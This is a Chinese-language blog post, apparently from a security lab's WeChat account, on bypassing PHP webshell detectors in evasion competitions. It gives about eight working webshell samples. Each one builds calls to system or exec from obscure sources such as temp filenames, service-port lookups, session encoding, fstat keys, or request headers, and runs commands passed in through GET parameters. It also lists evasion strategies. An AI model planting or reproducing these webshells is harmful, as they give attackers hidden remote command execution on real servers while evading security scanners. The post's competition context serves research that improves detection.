一些Webshell-Bypass的一些思路
这段时间在打一些Webshell绕过比赛,在这之前我只是有一些二进制文件免杀的经验。但在不断的尝试中我成功的提交了一些绕过样本。这让我对Webshell免杀愈发感兴趣,经过这一段时间的研究,针对webshell-Bypass我也有了一些自己的技巧,于是决定写下这篇文章,阅读前提是需要有一点PHP的语言基础。 在讲解代码之前,需要简单了解一下不同查杀平台webshell查杀的查杀原理。对于一些较传统的Webshell查杀软件大多都是基于特征码进行查杀(正则表达式匹配关键字)。一些在线的Webshell查杀引擎则是在原有的基础上进行了技术革新,例如沙箱模拟运行,污点追踪,人工智能,机器学习等技术。以下称这两种类别的查杀平台为传统类和新兴类。 这篇文章主要通过一些实例来进行思路解析,对于检测平台的具体检测技术不做具体解释。 下面我用一些实例来说明一些Webshell的绕过思路以及执行原理
以下样本均已在CT_stack社区提交,均已通过并修复。请勿重复提交!
面向传统检测软件:
对于一些传统的webshell查杀软件,这类软件基本上都是基于样本特征来进行查杀判断,例如动态函数执行,字符串拼接等操作在此类软件看来可能是恶意文件的特征。
针对这一类特征的识别,绕过思路可以是利用一些魔法全局常量/变量,或是使用一些冷门的危险函数,又或是利用一些PHP语言本身的语法特性来进行绕过。
Demo1:
system
<?php
substr(file_get_contents("./当前文件名.php"),0,6)($_GET["1"]);
执行原理:
这个Demo思路简单明了,php文件中在”<?php?>“作用域范围内的才需要遵顼语法规范,所以程序不会因为开头的system字符而报错,直接读取当前文件的前六个字符做动态函数调用即可动态调用system函数。当然还可以做一些其它的变形,例如使用get_meta_tags()函数解析当前页面meta标签来获取标签中的属性做动态函数调用。这种思路也可以作用于部分的新型查杀平台。
<meta name="author" content="system">
get_meta_tags("./当前文件名")["author"]($_GET["1"]);
Demo2:
<?php
if (file_exists('/etc/passwd')) {
$name = tempnam("./", "exec");
echo (substr($name,-10,4))($_GET["1"]);
unlink($name);
} else {
$name = tempnam("./", "exec");
echo (substr($name,-11,3)."c")($_GET["1"]);
unlink($name);
}
执行原理:
-
首先判断当前脚本处于何种操作系统,通过观察我发现Linux/Windows平台生成的临时文件名略有差异
-
tempnam函数的作用是在指定目录下创建一个临时文件,第一个参数表示临时文件的存储路径,第二个参数表示临时文件的前缀名,该函数执行成功会返回生成的文件的绝对路径包括文件名。
-
经过测试,Linux系统生成的临时文件名为给定前缀+任意六位数字组成,所以从倒数第十位开始截取,截取四位得到字符串”exec”。而Windows平台上创建的临时文件,规则为指定前缀名前三位字符+随机的四位字符+.tmp结尾,所以需要从倒数11位开始截取截取3位最后拼接上c字符形成新字符串”exec”。
-
其目的都是为了截取返回的新文件名动态的执行exec函数,最后的unlink目的是删除生成的临时文件,以避免每执行都要生成新的文件造成资源浪费。
Demo3:
function c($a,$b) {
$a($b);
};
array_intersect_uassoc([$_GET["a"]=>$_GET["1"]],[$_GET["b"]=>$_GET["2"]],'c');
执行原理:
-
array_intersect_uassoc函数用于比较两个数组索引的交集,也就是可以返回两个数组中索引值一致的成员。这个函数的第三个参数是一个回调函数。
-
在回调函数中直接使用不同数组的键名做动态函数调用以及参数传递。
Demo4:
<?php
class a {
function __toString()
{
getallheaders()["Host"](getallheaders()["User-Agent"]);
return "";
}
}
$class = new a();
echo $class;
执行原理:
-
__tostring方法是PHP中的魔术方法,当类的实例被echo,var_dump等函数打印时该方法就会执行。
-
getallheaders函数用于获取HTTP/S请求头中的指定字段值。获取Host,UA等字段做动态函数执行。
绕过思路分析:
-
使用魔术方法,尽可能隐匿危险函数的触发点(让危险函数的执行触发时机变得未知)。
-
寻找冷门的回调函数。
-
从程序外部获取字符串进行动态函数调用。
面向新型在线查杀平台:
下面是CT stack社区Webshell绕过报告中可以选择的几种绕过类型,我提交的样本大多基于未知Source绕过或是污点跟踪绕过,对于这一类型的绕过可以试着查PHP手册,关注一些可以返回固定字符串或是固定数组的函数,利用这一类函数返回的结果做字符串拼接等操作来做动态函数调用。
我认为比较有意思的一点是,一些能Bypass新兴型检测平台的样本竟然不能Bypass一些传统的查杀软件。出现这种情况的原因我觉得是新兴型的查杀平台有时过于注重Webshell的实际运行结果而忽略了文件本身的逻辑和行为(想必是为了降低误杀率)。我总结的这句话各位可以在实际的Bypass过程中自行体会(这里特指未知资源类型的绕过)。总之,我觉得每个平台都有各自的特点,绕过思路也是不一样的。
Demo1:
$hosts_file = $_GET["1"];
$data = "192.168.23.129 system";
$hosts_content = file_get_contents($hosts_file);
if (strpos($hosts_content, $data) === false) {
file_put_contents($hosts_file, "n".$data . PHP_EOL, FILE_APPEND);
$e = gethostbyaddr("192.168.23.129");
$e($_GET["2"]);
} else {
$e = gethostbyaddr("192.168.23.129");
$e($_GET["2"]);
}
执行原理:
-
gethostbyaddr函数可以根据IP地址获取对应的主机名,获取主机名时首先会在当前机器的Hosts文件进行查询。首先判断但当前计算机是否有添加解析记录,如果没有则添加一条记录,”192.168.23.129 system”。
-
添加后再通过gethostbyaddr函数即可获取到对应的主机名。
-
目前只在Windows平台测试过。
Demo2:
session_start();
$_SESSION['a'] = 'system';
$s = session_encode();
preg_match("/system/",$s,$e);
$e[0]($_GET["1"]);
session_write_close();
执行原理:
-
session_start()启动一个会话。
-
向$_SESSION中写入一个值(“system”)。
-
session_encode()将当前会话内容编码为一个新的字符串。其中包含system字符串。
-
使用正则匹配返回的字符串,匹配是否有system关键字,返回结果到$e变量。
-
使用$e匹配结果动态调用函数system。
-
session_write_close()结束当前会话。
Demo3:
$a = getservbyport(512,"tcp");
echo $a($_GET["1"]);
执行原理:
getserverbyport函数可以根据端口号以及对于协议给出其对应的服务名,可以参考/etc/services文件内容。tcp512端口对应的服务名为exec通过此字符串动态调用exec函数。
Demo4:
$a = fopen("./1.php","r");
$e = null;
$h = null;
$p = null;
foreach (array_keys(fstat($a)) as $n) {
$e.=$n;
}
foreach (str_split($e) as $c) {
if (ord($c) == 99) {
$p = $c;
} elseif (ord($c) == 101) {
$h = $c;
}
}
$x = $h.'x'.$h.$p;
echo $x($_GET["1"])
执行原理:
-
fopen用于打开一个文件,这里用这个函数打开当前文件,当前文件名为1.php,”./”表示当前路径。
-
fstat()函数用于获取使用fopen函数打开的文件的信息,返回一个数组类型的数据。使用array_keys函数获取返回的数组的所有键名,通过for循环将所有键名拼接到变量$e中。(获得的数组的键名中包含”e”,”c”两个字符)
-
使用str_split函数将该字符串转换为数组(字符串中每个字符为一个数组元素),遍历这个数组,匹配其中的”e”,”c”字符,分别放到全局变量$h,$p中。
-
使用$h,$p拼接为新的字符串”exec”,最后将其作为函数进行动态调用。
-
通过get请求传递参数1到exec函数中进行动态命令执行。
绕过思路分析:
-
尽可能避免使用可控的全局变量(例如$_SERVER)或外部可控的全局数组(例如getallheaders获取的请求头数据)获取数据。
-
发散思维使用任何你能想到的任意方式获取固定的字符串或字符进行动态函数调用。
-
不要只拘泥于当前文件,例如通过http请求获取响应内容等方式。类似于二进制免杀中的分离加载。
-
利用不同操作系统差异进行绕过(这类样本在部分绕过比赛中不收),php中的部分函数在不同操作系统下执行存在着差异。
注:
以上样本均已在CT_stack社区提交,均已通过并修复。请勿重复提交!
原文始发于微信公众号(NGC660安全实验室):关于Webshell-Bypass的一些思路